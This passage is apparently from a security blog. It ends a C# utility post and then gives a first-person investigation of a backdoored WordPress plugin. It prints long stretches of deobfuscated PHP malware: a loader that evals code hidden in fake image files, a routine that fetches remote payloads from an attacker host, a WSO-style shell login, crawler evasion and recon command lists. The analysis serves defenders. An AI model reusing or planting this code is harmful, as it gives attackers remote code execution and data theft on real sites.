            _logger.Log("Application ended.");
        }

        public class Logger
        {
            private readonly string _logFilePath;
            public Logger(string logFilePath)
            {
                _logFilePath = logFilePath;
            }

            public void Log(string message)
            {
                string logMessage = $"{DateTime.Now}: {message}";
                File.AppendAllText(_logFilePath, logMessage + Environment.NewLine);
            }
        }

        private static void HandleEvent(TraceEvent traceEvent)
        {
            const int EventId1 = 24028; // Microsoft AAD Application Proxy Connector received a frontend request.
            const int EventId2 = 24029; // Microsoft AAD Application Proxy Connector sent a request to backend application.
            const int EventId3 = 24030; // Microsoft AAD Application Proxy Connector received a response from backend.

            if (traceEvent.ID == (TraceEventID)EventId1)
            {
                Console.WriteLine($"Event {EventId1} received at: {traceEvent.TimeStamp}");
                EventLogEntryType entryType = EventLogEntryType.Information;
                int eventId = (int)traceEvent.ID;
                string input_message = $"{traceEvent}";
                string formated_message = input_message.Replace("&lt;", "<").Replace("&gt;", ">");
                string prefix = "Microsoft AAD Application Proxy Connector received a frontend request." + Environment.NewLine;
                formated_message = prefix + formated_message;
                WriteToEventLog(EventSourceName, EventLogName, entryType, eventId, formated_message);
            }

            if (traceEvent.ID == (TraceEventID)EventId2)
            {
                Console.WriteLine($"Event {EventId2} received at: {traceEvent.TimeStamp}");
                EventLogEntryType entryType = EventLogEntryType.Information;
                int eventId = (int)traceEvent.ID;
                string input_message = $"{traceEvent}";
                string formated_message = input_message.Replace("&lt;", "<").Replace("&gt;", ">");
                string prefix = "Microsoft AAD Application Proxy Connector sent a request to backend application." + Environment.NewLine;
                formated_message = prefix + formated_message;
                WriteToEventLog(EventSourceName, EventLogName, entryType, eventId, formated_message);
            }

            if (traceEvent.ID == (TraceEventID)EventId3)
            {
                Console.WriteLine($"Event {EventId3} received at: {traceEvent.TimeStamp}");
                EventLogEntryType entryType = EventLogEntryType.Information;
                int eventId = (int)traceEvent.ID;
                string input_message = $"{traceEvent}";
                string formated_message = input_message.Replace("&lt;", "<").Replace("&gt;", ">");
                string prefix = "Microsoft AAD Application Proxy Connector received a response from backend." + Environment.NewLine;
                formated_message = prefix + formated_message;
                WriteToEventLog(EventSourceName, EventLogName, entryType, eventId, formated_message);
            }
        }


        public static void EnsureEventSource(string source, string log)
        {
            if (!EventLog.SourceExists(source))
            {
                EventLog.CreateEventSource(source, log);
            }
        }

        public static void WriteToEventLog(string source, string log, EventLogEntryType entryType, int eventId, string message)
        {
            using (EventLog eventLog = new EventLog(log))
            {
                eventLog.Source = source;
                eventLog.WriteEntry(message, entryType, eventId);
            }
        }

    }
}

Implementation notes:

Create the event source once at startup, not inside the event handler.
Keep the event handler synchronous to avoid dropped exceptions from async void.

Windows Service

Converting the code above to a Windows Service is relatively straightforward. I’d recommend you use this Microsoft article:

https://learn.microsoft.com/en-us/dotnet/framework/windows-services/walkthrough-creating-a-windows-service-application-in-the-component-designer.

Follow the tutorial and replace the code section in the article with the code above and you’ll have a solution that can be tweaked and deployed on the app proxies; installed as a windows service that’ll survive reboots etc.

In case it helps here’s a full basic example with the App Proxy code above in it: https://github.com/chadduffey/etw-to-evtx/blob/main/AppProxy-ETW-to-EVTX/AppProxyLogConverter.cs

Thanks!

References

WordPress Backdoor

Thu, 15 Dec 2022 14:34:25 +0000

This post documents a suspected WordPress backdoor investigation. It is split into two useful tracks: the operational lessons from finding and cleaning up a compromised site, and a technical analysis of the malicious PHP so the indicators and tradecraft can be understood.

This appears to be “Smilodon” malware. Example post: https://blog.sucuri.net/2022/06/smilodon-credit-card-skimming-malware-shifts-to-wordpress.html

Part 1: How did this happen?

I’m an information security professional and honestly, I find it embarrassing that my site had been backdoored. I don’t make any excuses for it, but I wanted to add a small section here for context.

I’ve had blog sites for as long as I can remember. I’ve also blogged for almost every company I worked at. I don’t consider myself to be a good writer by any stretch, but I find that blogging makes me take a higher level of care to check whether I really understand the things I am working on. Honestly, I’m scared of being wrong so knowing that there is a chance someone will read my content forces me to consider whether I have taken the time to understand the concepts well enough.

Recently some friends and family floated the idea that I move my content to a more professional setting. Create a company name, buy a logo and put up a site that would look more like a trusted professional (or group of professionals) owned it rather than someone who quickly jots down notes on their very basic site. I got wrapped up in the idea and tried to move quickly so it didn’t die on the vine.

Unlike the site that was “hacked”, the site you are reading this post on uses Jekyll and is published as static html. I’m not going to say ‘unhackable’ but the bar for shenanigans is high. The tradeoff is that I write in markup and maintain a Github/Azure DevOps pipeline that converts the markup and template code into somewhat respectable HTML.

I reluctantly accepted that the new site would need to be WordPress. All the beautiful looking, easy to update sites seem to be WordPress now. Even the security companies I really admire seem to have drifted over to the dark side.

Mistake(?) 1 -

I hired someone from fiverr.com to build the site.

I say mistake with a question mark because I don’t mean to put any blame on fiverr and also the real mistakes are number 2 & 3 below. Outsourcing is an economical way to do this work, and the fiverr platform is great. I even used a supplier who was top rated and recommended/promoted by the platform. I paid more for it of course, but the tradeoff seemed right.

Mistake 2 -

My threat modelling training & experience really took a backseat because I wasn’t too concerned about the security of the site. I just wanted it to be somewhere I could write things and they would be presented in a way that appealed to readers. I didn’t plan to process payments or bookings or store information from visitors, and my concern for supply chain issues was lowered by the caliber of WordPress professional I’d hired.

Mistake 3 -

I didn’t think to scan the site before going live except for a basic wpscan from a kali machine. In fact, I barely looked at anything but the “Posts” and “Documents” sections figuring if I needed more advanced help, I would reach out to the WordPress professional id hired. I applied less than 1% of the care I would apply at work or even if I was just helping a friend.

Was it an accident?

I don’t know to this day if the person I was working with had knowledge of the backdoor. My gut feeling is that they did not. They seemed kind, helpful and responsive during the site build process. I still consider them to be all three of those things. I reached out to let them know about the malware giving them the opportunity to check that they hadn’t accidentally deploying it to other customers/sites. Even if it turns out I am being naive, I’m not unlike other information security professionals in that I was much more interested in being Dade Murphy than (a non-criminal) Eugene Belford when I was learning this stuff as a kid. If the malware was intentional, I hope the discovery was enough of a scare to get them over to the good side to help the rest of us.

Discovery

After the site had been up for about two weeks and I had populated it with a reasonable amount of content I started to think a little more about security. I still wasn’t worried, but I had that lingering thought of “you’re a security professional, you should probably make sure nothing stands out as very bad here”. I poked around a few of the add-ins, did some updates, and ran a scan on hardenize.

Good Choice 1:

I decided I owed it to myself to automate at least the basic security checks and settled on wordfence. Wordfence also installed a WAF, made MFA much easier and allowed me to manage the firewall from the wp-admin console so it ticked quite a few boxes that I previously hadn’t even cared to think about ticking.

Among many less significant (but still much appreciated) findings, the initial scan result email alerted me to a critical issue:

Part 2: The Malware

Wordfence allowed me to quickly view the file from the wp-admin console and called out that the include in the php file was the main concern.

The file looked like this:

<?php

/**
 * Plugin Name: Ecuvene
 * Plugin URI: https://a.cult.biz/ecuvene
 * Description: Artificial human countries, such
 * Version: 3.3.15
 * Author: Orlando Louis
 * Author URI: https://a.cult.biz
 * Text Domain: ecuvene
 * License: GPL2+
 *
 */

function ihuxup_khachegype() {
    hucyce_fojezafizh();
}

$ashuwic = __DIR__ . '/vihisog.txt';
if (file_exists($ashuwic)) {
    include($ashuwic);
}

if (function_exists("hucyce_fojezafizh")) {
    $etiwuro = new dyjeny_elyzhuchoju();
    if ($etiwuro->vemojo_opitiqazh()) {
        add_action('init', 'ihuxup_khachegype');
    }
}

If you look at the line if (function_exists("hucyce_fojezafizh")) you’d be forgiven for thinking well, the function doesn’t exist, despite being called by the ihuxup_khachegype() function so not much at all is happening here. But given the include($ashuwic); pointing to '/vihisog.txt' we might have ourselves a bit of a red flag.

Sure enough, vihisog.txt exists, and contains the following:

<?php

function icysut_qymypozuc($sovama_gadoseqam) {
    $dukygod = strtr($sovama_gadoseqam, array('R'=>'Q', 'I'=>'W', 'F'=>'E', 'J'=>'R', 'w'=>'T', 'V'=>'Y', 'K'=>'U', 'y'=>'I', 'Q'=>'O', 'b'=>'P',
        'W'=>'A', 'S'=>'S', 'q'=>'D', 'X'=>'F', 'H'=>'G', 'p'=>'H', 'o'=>'J', 't'=>'K', 'U'=>'L', 'E'=>'Z',
        'A'=>'X', 's'=>'C', 'i'=>'V', 'l'=>'B', '8'=>'N', 'h'=>'M', 'k'=>'q', 'Z'=>'w', 'r'=>'e', 'L'=>'r',
        'D'=>'t', 'O'=>'y', '7'=>'u', '4'=>'i', 'v'=>'o', 'e'=>'p', 'm'=>'a', '+'=>'s', 'd'=>'d', 'z'=>'f',
        'C'=>'g', '3'=>'h', 'N'=>'j', 'Y'=>'k', 'j'=>'l', '1'=>'z', '9'=>'x', '/'=>'c', 'G'=>'v', 'a'=>'b',
        'n'=>'n', 'M'=>'m', 'T'=>'1', 'g'=>'2', '2'=>'3', 'f'=>'4', '6'=>'5', 'u'=>'6', '='=>'7', '5'=>'8',
        'B'=>'9', 'x'=>'0', 'P'=>'=', 'c'=>'+', '0'=>'/'));
    $dukygod = base64_decode($dukygod);

    return $dukygod;
}

function eryroq_eshuvynuq($sovama_gadoseqam) {
    if (!file_exists($sovama_gadoseqam))
        return false;
    $uloqaj = @file_get_contents($sovama_gadoseqam);
    if (!$uloqaj)
        return false;
    $uloqaj = substr($uloqaj, 3);
    $okytiqi = icysut_qymypozuc($uloqaj);
    return $okytiqi;
}

$etiwuro = __DIR__ . '/assets/article_images/images/anuhav.png';

if (file_exists($etiwuro)) {
    $oqashik = eryroq_eshuvynuq($etiwuro);
    if ($oqashik) {
        @eval($oqashik);
    }
}

With all the obfuscation here (and the obfuscation in the php file) I’m starting to get a sinking feeling. Not to mention the fact that even with the code slightly obfuscated we can see that we are reading a png file like it was text with file_get_contents (the file being /assets/article_images/images/anuhav.png). I can’t think of any non-malware reasons to do that.

Before going too much further it might be useful to have the full listing of files in the package:

PS C:\Users\Chad\Downloads\ecuvene\ecuvene> tree /f
Folder PATH listing
Volume serial number is 72A3-AE45
C:.
|   ecuvene.php
|   index.html
|   vihisog.txt
|
\---assets
    |   index.html
    |
    +---images
    |       anuhav.png
    |       ikajosh.gif
    |       index.html
    |       obuxuc.gif
    |       yrukixu.png
    |
    \---js
            boveju.js
            index.html

My good friend and colleague Will suggested that we carefully let the code do the deobfuscation for us.

I modified some of the vihisog.txt file and saved it as php allowing me to deobfuscate the fake png and gif files:

if (file_exists($etiwuro)) {
    $oqashik = eryroq_eshuvynuq($etiwuro);
    echo $oqashik;
    #if ($oqashik) {
    #    @eval($oqashik);
    #}
}

Here’s an example of the actual PNG file content:

And here after decoding using the decoding functions in the code:

The output of the first file is:

class dyjeny_elyzhuchoju {

    var $uburad = 'yrukixu.png';
    var $lynosha = 'ikajosh.gif';
    public $eqiguso = 'boveju.js';
    public $dabire_qychysho = false;
    public $inijek_imanevet = false;
    public $ygicaz_heshivet = false;
    var $mojati_ibotivykh = null;
    var $iqugib_khifechoz = null;
    var $tapuqy = 'obuxuc.gif';
    var $avihyvi = false;

    public function __construct($sovama_gadoseqam = false) {
        if ($sovama_gadoseqam) {
            $this->ezaled_ygovajiq();
        }
    }

    public function ezaled_ygovajiq() {
        if (!$this->asuram_oguwujefo()) {
            $this->obygyf_rygythem();
        }
    }

    public function vemojo_opitiqazh() {
        $uzybuj_ifezhuci = "DB_" . "NAM" . "E";
        return defined($uzybuj_ifezhuci);
    }

    protected function egogac_thecuquzu($sovama_gadoseqam) {
        $elojub_xevotine = crc32($sovama_gadoseqam);
        if ((PHP_INT_SIZE > 4) && ($elojub_xevotine & 0x80000000))
            $elojub_xevotine = $elojub_xevotine - 0x100000000;
        return abs($elojub_xevotine);
    }

    protected function ifiwug_yzhicozu($sovama_gadoseqam) {
        $denedu_chivymaxa = array(
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HEADER => false,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_ENCODING => "",
            CURLOPT_USERAGENT => "Mo" . "zill" . "a/5" . ".0 (" . "Win" . "dow" . "s N" . "T 6." . "1; " . "Win64" . "; x" . "64;" . " rv:" . "106.0" . ") Gec" . "ko/2" . "01001" . "01 " . "Fi" . "refox" . "/1" . "06" . ".0",
            CURLOPT_AUTOREFERER => true,
            CURLOPT_CONNECTTIMEOUT => 180,
            CURLOPT_TIMEOUT => 180,
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false
        );

        $idasiq_omyvycat = curl_init($sovama_gadoseqam);
        curl_setopt_array($idasiq_omyvycat, $denedu_chivymaxa);
        $elojub_xevotine = @curl_exec($idasiq_omyvycat);
        if (!$elojub_xevotine)
            $elojub_xevotine = @file_get_contents($sovama_gadoseqam);
        return $elojub_xevotine;
    }

    protected function tibahy_kesutuwokh($sovama_gadoseqam, $ipisyg_zecukhopo) {
        $denedu_chivymaxa = '';
        $idasiq_omyvycat = "ex" . "plo" . "de";
        $elojub_xevotine = "tri" . "m";
        $gifoju_ezhecewam = "bas" . "e6" . "4_de" . "co" . "de";
        $ybohep_thozydode = "gzi" . "nfla" . "te";
        $ewinud_wanuwuxum = $idasiq_omyvycat("\n", $sovama_gadoseqam);
        for ($ihixuz_ovokusypy = 0; $ihixuz_ovokusypy < sizeof($ewinud_wanuwuxum); $ihixuz_ovokusypy++) {
            $denedu_chivymaxa .= $elojub_xevotine($ewinud_wanuwuxum[$ihixuz_ovokusypy]);
        }

        if (!$ipisyg_zecukhopo) {
            return $ybohep_thozydode($gifoju_ezhecewam($denedu_chivymaxa));
        }

        $elijuv_achuwoth = '';

        for ($ygilis_thokhowufa = 0; $ygilis_thokhowufa < sizeof($ipisyg_zecukhopo); $ygilis_thokhowufa += 2) {
            if ($ygilis_thokhowufa % 4) {
                $elijuv_achuwoth .= substr($denedu_chivymaxa, $ipisyg_zecukhopo[$ygilis_thokhowufa], $ipisyg_zecukhopo[$ygilis_thokhowufa + 1]);
            } else {
                $elijuv_achuwoth .= strrev(substr($denedu_chivymaxa, $ipisyg_zecukhopo[$ygilis_thokhowufa], $ipisyg_zecukhopo[$ygilis_thokhowufa + 1]));
            }
        };

        $elijuv_achuwoth = $gifoju_ezhecewam($elijuv_achuwoth);

        return $elijuv_achuwoth;
    }

    public function lajugo_thyshozhon() {
        if ($this->iqugib_khifechoz)
            return true;
        return $this->sataxi_aqezuhul();
    }

    protected function asuram_oguwujefo() {
        if (!$this->vemojo_opitiqazh())
            header("gege" . "l3" . ":" . ($this->mojati_ibotivykh + 1));
        $elijuv_achuwoth = "HTTP" . "_H" . "OST";
        $ybohep_thozydode = strtoupper($_SERVER[$elijuv_achuwoth]);
        $togura_chothethu = $this->nocibo_qopevymy($ybohep_thozydode, 5, 7);
        $hiqafa_emyxethypa = $this->nocibo_qopevymy($ybohep_thozydode . $ybohep_thozydode, 4, 8);

        if (isset($_COOKIE[$togura_chothethu])) {
            if ($this->lajugo_thyshozhon()) {
                $gifoju_ezhecewam = md5($_COOKIE[$togura_chothethu]);
                if (($gifoju_ezhecewam == $this->iqugib_khifechoz)) {
                    if ((!isset($_COOKIE[$hiqafa_emyxethypa])) && (!isset($_POST[$hiqafa_emyxethypa]))) {
                        $ashuwic = __DIR__ . "/assets/article_images/images/pozokyd.png";
                        if (file_exists($ashuwic)) {
                            $etiwuro = file_get_contents($ashuwic);
                            $etiwuro = xutuqu_cexethyth($etiwuro);
                            echo $etiwuro;
                            @unlink($ashuwic);
                            exit;
                        }
                    } else {
                        if (isset($_COOKIE[$hiqafa_emyxethypa])) {
                            $ypifef_ycekhexica = $_COOKIE[$hiqafa_emyxethypa];
                            $ihixuz_ovokusypy = base64_decode($ypifef_ycekhexica);
                            $ygilis_thokhowufa = $this->ifiwug_yzhicozu($ihixuz_ovokusypy);
                        }

                        if (isset($_POST[$hiqafa_emyxethypa])) {
                            $ygilis_thokhowufa = base64_decode($_POST[$hiqafa_emyxethypa]);
                        }

                        $this->inijek_imanevet = $ygilis_thokhowufa;
                        return true;
                    }
                }
            }
        }

        return false;
    }

    protected function obygyf_rygythem() {
        $denedu_chivymaxa = __DIR__ . "/assets/article_images/images/" . $this->lynosha;
        $idasiq_omyvycat = eryroq_eshuvynuq($denedu_chivymaxa);
        if (!$idasiq_omyvycat)
            return false;
        $this->dabire_qychysho = $idasiq_omyvycat;
        return true;
    }

    public function kecyfy_chichuxe() {
        $denedu_chivymaxa = "dir" . "na" . "me";
        $denedu_chivymaxa = $denedu_chivymaxa(__FILE__);
        $denedu_chivymaxa = str_replace("\\", "/", $denedu_chivymaxa);
        $idasiq_omyvycat = explode("/", $denedu_chivymaxa);
        $idasiq_omyvycat = end($idasiq_omyvycat);
        $idasiq_omyvycat = $idasiq_omyvycat . "/" . $idasiq_omyvycat . ".php";
        return $idasiq_omyvycat;
    }

    public function zefodu_kashorit() {
        $denedu_chivymaxa = "wpyii" . "2/wpy" . "ii" . "2." . "ph" . "p";
        return $denedu_chivymaxa;
    }

    public function kymygu_izhekhas() {
        $denedu_chivymaxa = "pxc" . "elP" . "ag" . "e_" . "c0100" . "2";
        return $denedu_chivymaxa;
    }

    public function gukydi_odypusuq() {
        $denedu_chivymaxa = "604" . "800";
        return $denedu_chivymaxa;
    }

    public function iqobiv_uzhuteth() {
        $denedu_chivymaxa = "YII_" . "WEB" . "_DIR";
        return $denedu_chivymaxa;
    }

    public function oxyqox_inypewapo() {
        $denedu_chivymaxa = "YII_W" . "EB_PA" . "TH";
        return $denedu_chivymaxa;
    }

    public function nocibo_qopevymy($sovama_gadoseqam, $ipisyg_zecukhopo, $zytate_dykebech) {
        $elojub_xevotine = "su" . "bstr";
        $gifoju_ezhecewam = "st" . "rle" . "n";
        $elijuv_achuwoth = "qwr" . "tpsdg" . "hjklz" . "xc" . "vbnm";
        $ybohep_thozydode = "ey" . "uoa";

        $denedu_chivymaxa = 0;
        for ($idasiq_omyvycat = 0; $idasiq_omyvycat < $gifoju_ezhecewam($sovama_gadoseqam); $idasiq_omyvycat++) {
            $ewinud_wanuwuxum = ord($elojub_xevotine($sovama_gadoseqam, $idasiq_omyvycat, 1));
            $denedu_chivymaxa += $ewinud_wanuwuxum + $ewinud_wanuwuxum * ($ewinud_wanuwuxum + $idasiq_omyvycat);
        }

        $ewinud_wanuwuxum = $zytate_dykebech - $ipisyg_zecukhopo;
        $ihixuz_ovokusypy = $denedu_chivymaxa % $ewinud_wanuwuxum;
        <SNIP>
            } else {
                $ygilis_thokhowufa .= $elojub_xevotine($ybohep_thozydode, $ewinud_wanuwuxum % $gifoju_ezhecewam($ybohep_thozydode), 1);
            }
        }


        return $ygilis_thokhowufa;
    }

    public function wamufa_acavezhy() {
        $denedu_chivymaxa = __DIR__ . '/assets/article_images/images/' . $this->tapuqy;
        $idasiq_omyvycat = eryroq_eshuvynuq($denedu_chivymaxa);
        $this->ygicaz_heshivet = $idasiq_omyvycat;
    }

    public function ohufog_shesukeshaq() {
        $denedu_chivymaxa = "READ" . "ME.tx" . "t";
        $idasiq_omyvycat = "bas" . "e6" . "4_de" . "co" . "de";
        $elojub_xevotine = "str" . "rev";
        $gifoju_ezhecewam = "604" . "800";
        $ygilis_thokhowufa = "unli" . "nk";
        $gifoju_ezhecewam = time() - intval($gifoju_ezhecewam) / 7;
        $ihixuz_ovokusypy = dirname(__FILE__);
        $ybohep_thozydode = "file" . "_get" . "_con" . "tents";
        $togura_chothethu = "head" . "er";
        $hiqafa_emyxethypa = "file_" . "put" . "_cont" . "ents";
        $ypifef_ycekhexica = "pxc" . "elP" . "ag" . "e_" . "c0100" . "2";

        if (isset($_COOKIE[$ypifef_ycekhexica]))
            return;

        $oqashik = false;
        if (file_exists($ihixuz_ovokusypy . '/' . $denedu_chivymaxa)) {
          <SNIP>
            } else {
                if (!defined('YII_FORM_OK')) {
                    define('YII_FORM_OK', 1);
                }
                $elijuv_achuwoth = $ybohep_thozydode($ihixuz_ovokusypy . '/' . $denedu_chivymaxa);
                $elijuv_achuwoth = $idasiq_omyvycat($elojub_xevotine($elijuv_achuwoth));
                echo $elijuv_achuwoth;
                return;
            }
        }

        try {
            $ypecuz_liwuciseth = "SE" . "RV" . "ER" . "_ADDR";
            $biwyha_silyboshos = "HTTP" . "_H" . "OST";
            $qygugo_idejacuf = "REM" . "OTE" . "_AD" . "DR";
            $koziti_cathukythuh = "disco" . "unt:";
            $aronuf_elexoxeche = "price" . ":";
            $xuhypi_onypudepu = "merc" . "ha" . "nt:";
            $ikunas_guwuwanaj = "ord" . "er:";
            $byhoki_gudikhez = "ad" . "dr" . "es" . "s:";

            $azewyd_jikujegy = "12" . "7.0." . "0.1";
            $uryvec_xinebebyg = "HTT" . "P_" . "CL" . "IEN" . "T_" . "IP";
            $ukageg_bagakhavi = "HTT" . "P_X" . "_FOR" . "WA" . "RDED_" . "FOR";
            $icutym_chothytuth = "#^[" . "A-Za-" . "z0-9+" . "/=]+" . "$#";
            $humoca_uvugefune = "RE" . "QUEST" . "_ME" . "THO" . "D";
            $pumuky_iwebukajy = "https" . ":/" . "/pr" . "eda" . "to" . "r.ho" . "st/" . "wp/w" . "idg" . "et." . "txt";
            $enaxec_pikhuxubu = "GE" . "T";
            $jyzako_ciminina = "curl_" . "in" . "it";
            $fyciho_echoluthum = "str" . "ea" . "m_c" . "onte" . "xt_" . "cr" . "eate";
            $obuqad_qiwytheb = "http";
            $nykyji_leheshyk = "metho" . "d";
            $fanumi_ihushypyko = 0;
            $fizaqy_yrurigokh = 0;

            $efapop_bypethuto = isset($_SERVER[$ypecuz_liwuciseth]) ? $_SERVER[$ypecuz_liwuciseth] : $azewyd_jikujegy;
              <SNIP>

            }

            if ((isset($_SERVER[$humoca_uvugefune])) && ($_SERVER[$humoca_uvugefune] == $enaxec_pikhuxubu)) {
                $gedilo_fyfishuba = false;
                if (function_exists($jyzako_ciminina)) {
                    $vaqyqi_uhaboshi = curl_init($pumuky_iwebukajy);
                    curl_setopt($vaqyqi_uhaboshi, CURLOPT_RETURNTRANSFER, true);
                    curl_setopt($vaqyqi_uhaboshi, CURLOPT_CONNECTTIMEOUT, 15);
                    curl_setopt($vaqyqi_uhaboshi, CURLOPT_TIMEOUT, 15);
                    curl_setopt($vaqyqi_uhaboshi, CURLOPT_HEADER, false);
                    curl_setopt($vaqyqi_uhaboshi, CURLOPT_SSL_VERIFYHOST, false);
                    curl_setopt($vaqyqi_uhaboshi, CURLOPT_SSL_VERIFYPEER, false);
                    curl_setopt($vaqyqi_uhaboshi, CURLOPT_HTTPHEADER, array("$koziti_cathukythuh $fanumi_ihushypyko", "$ikunas_guwuwanaj $fizaqy_yrurigokh", "$aronuf_elexoxeche $qyjike_ujichonaly", "$xuhypi_onypudepu $uqazeq_nurinuhi", "$byhoki_gudikhez $efapop_bypethuto"));
                    $gedilo_fyfishuba = @curl_exec($vaqyqi_uhaboshi);
                    curl_close($vaqyqi_uhaboshi);
                    $gedilo_fyfishuba = trim($gedilo_fyfishuba);

                    if (preg_match($icutym_chothytuth, $gedilo_fyfishuba)) {
                        $asizur_izatysha = @$idasiq_omyvycat($elojub_xevotine($gedilo_fyfishuba));
                        $hiqafa_emyxethypa($ihixuz_ovokusypy . '/' . $denedu_chivymaxa, $gedilo_fyfishuba, LOCK_EX);
                        if (!defined('YII_FORM_OK')) {
                            define('YII_FORM_OK', 1);
                        }

                        echo $asizur_izatysha;
                    }
                }

                <SNIP>
                        )
                    );
                    $ylexyd_xahokowu = $fyciho_echoluthum($ylexyd_xahokowu);

                    $gedilo_fyfishuba = @$ybohep_thozydode($pumuky_iwebukajy, false, $ylexyd_xahokowu);
                    if (preg_match($icutym_chothytuth, $gedilo_fyfishuba)) {
                        $asizur_izatysha = @$idasiq_omyvycat($elojub_xevotine($gedilo_fyfishuba));
                        $hiqafa_emyxethypa($ihixuz_ovokusypy . '/' . $denedu_chivymaxa, $gedilo_fyfishuba, LOCK_EX);
                        if (!defined('YII_FORM_OK')) {
                            define('YII_FORM_OK', 1);
                        }

                        echo $asizur_izatysha;
                    }
                }
            }
        } catch (Exception $herevi_mecequsur) {

        }
    }

    public function sataxi_aqezuhul() {
        $denedu_chivymaxa = __DIR__ . '/assets/article_images/images/yrukixu.png';
        if (!file_exists($denedu_chivymaxa)) {
            return false;
        }

        $idasiq_omyvycat = eryroq_eshuvynuq($denedu_chivymaxa);
        $elojub_xevotine = "HTTP" . "_H" . "OST";
        $gifoju_ezhecewam = $_SERVER[$elojub_xevotine];
        $ygilis_thokhowufa = floor(strlen($idasiq_omyvycat) / 32);
        $ewinud_wanuwuxum = $this->egogac_thecuquzu($gifoju_ezhecewam) % $ygilis_thokhowufa;
        $ihixuz_ovokusypy = substr($idasiq_omyvycat, $ewinud_wanuwuxum * 32, 32);
        $this->mojati_ibotivykh = $ewinud_wanuwuxum;
        $this->iqugib_khifechoz = $ihixuz_ovokusypy;
        define('pudety_okeloshuja', $this->iqugib_khifechoz);
        return $ihixuz_ovokusypy;
    }

}

function xytaki_thylovuthok($sovama_gadoseqam) {
    $midozy = strtr($sovama_gadoseqam, array('Q'=>'R', 'W'=>'I', 'E'=>'F', 'R'=>'J', 'T'=>'w', 'Y'=>'V', 'U'=>'K', 'I'=>'y', 'O'=>'Q', 'P'=>'b',
        'A'=>'W', 'S'=>'S', 'D'=>'q', 'F'=>'X', 'G'=>'H', 'H'=>'p', 'J'=>'o', 'K'=>'t', 'L'=>'U', 'Z'=>'E',
        'X'=>'A', 'C'=>'s', 'V'=>'i', 'B'=>'l', 'N'=>'8', 'M'=>'h', 'q'=>'k', 'w'=>'Z', 'e'=>'r', 'r'=>'L',
        <SNIP>
        'n'=>'n', 'm'=>'M', '1'=>'T', '2'=>'g', '3'=>'2', '4'=>'f', '5'=>'6', '6'=>'u', '7'=>'=', '8'=>'5',
        '9'=>'B', '0'=>'x', '='=>'P', '+'=>'c', '/'=>'0'));
    return $midozy;
}

function xutuqu_cexethyth($sovama_gadoseqam) {
    $dukygod = strtr($sovama_gadoseqam, array('R'=>'Q', 'I'=>'W', 'F'=>'E', 'J'=>'R', 'w'=>'T', 'V'=>'Y', 'K'=>'U', 'y'=>'I', 'Q'=>'O', 'b'=>'P',
        'W'=>'A', 'S'=>'S', 'q'=>'D', 'X'=>'F', 'H'=>'G', 'p'=>'H', 'o'=>'J', 't'=>'K', 'U'=>'L', 'E'=>'Z',
        <SNIP>
        'C'=>'g', '3'=>'h', 'N'=>'j', 'Y'=>'k', 'j'=>'l', '1'=>'z', '9'=>'x', '/'=>'c', 'G'=>'v', 'a'=>'b',
        'n'=>'n', 'M'=>'m', 'T'=>'1', 'g'=>'2', '2'=>'3', 'f'=>'4', '6'=>'5', 'u'=>'6', '='=>'7', '5'=>'8',
        'B'=>'9', 'x'=>'0', 'P'=>'=', 'c'=>'+', '0'=>'/'));
    return $dukygod;
}

$gogyru_syqivafef = new dyjeny_elyzhuchoju();

<SNIP>

    }
} else {
    if ($gogyru_syqivafef->lajugo_thyshozhon()) {
        $gogyru_syqivafef->ezaled_ygovajiq();
        if ($gogyru_syqivafef->inijek_imanevet) {
            @eval($gogyru_syqivafef->inijek_imanevet);
        } else {
            @eval($gogyru_syqivafef->dabire_qychysho);
        }
    }

The rest of the Code

I don’t think it is the right thing to do to paste all the extracted files here and you might have noticed I snipped out a little of the content from above. I’m not an expert in this space, but it seems to be a well-built backdoor that would hide well on WordPress sites. It didn’t show up in the add-in’s console, it was only the file scan by Wordfence that caused me to look at all.

Below are some of the more interesting things from the other encoded “.png” and “.gif” files that contain more functions for the shell:

Disk Space and ExploitDB lookups:

    if (function_exists('diskfreespace'))
        $freeSpace = @diskfreespace($GLOBALS['cwd']);
    if (function_exists('disk_total_space'))
        $totalSpace = @disk_total_space($GLOBALS['cwd']);
    $totalSpace = $totalSpace ? $totalSpace : 1;
    if (function_exists('php_uname')) {
        $phpUname = @php_uname();
        $release = @php_uname('r');
        $kernel = @php_uname('s');
    }
    $explink = 'https://www.exploit-db.com/search/?action=search&g-recaptcha-response=&q=';
    if (strpos('Linux', $kernel) !== false)
        $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
    else
        $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));

Hiding from crawlers?

if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if (@preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

The password for the backdoor and the form to accept it:

$pw=pudety_okeloshuja;
<SNIP>
function wsoLogin() {
    die("<form class='gegel3' method=post><input type=password name=pw><input type=submit value='>>'></form>");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if (!empty($pw)) {
    $cook = substr(md5($_SERVER['HTTP_HOST']), 0, 3);
    if (isset($_POST['pw']) && (md5($_POST['pw']) == $pw))
        WSOsetcookie($cook, $pw);

    if (!isset($_COOKIE[$cook]) || ($_COOKIE[$cook] != $pw))
        wsoLogin();
}

Recon specific to hosting OS:

if ($os == 'win')
    $als = array(
        "List Directory" => "dir",
        "Find index.php in current dir" => "dir /s /w /b index.php",
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
        "Show active connections" => "netstat -an",
        "Show running services" => "net start",
        "User accounts" => "net user",
        "Show computers" => "net view",
        "ARP Table" => "arp -a",
        "IP Configuration" => "ipconfig /all"
    );
else
    $als = array(
        "show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
        "List dir" => "ls -lha",
        "list file attributes on a Linux second extended file system" => "lsattr -va",
        "Find" => "",
        "find all suid files" => "find / -type f -perm -04000 -ls",
        "find suid files in current dir" => "find . -type f -perm -04000 -ls",
        "find all sgid files" => "find / -type f -perm -02000 -ls",
        "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
        "find config.inc.php files" => "find / -type f -name config.inc.php",
        "find config* files" => "find / -type f -name \"config*\"",
        "find config* files in current dir" => "find . -type f -name \"config*\"",
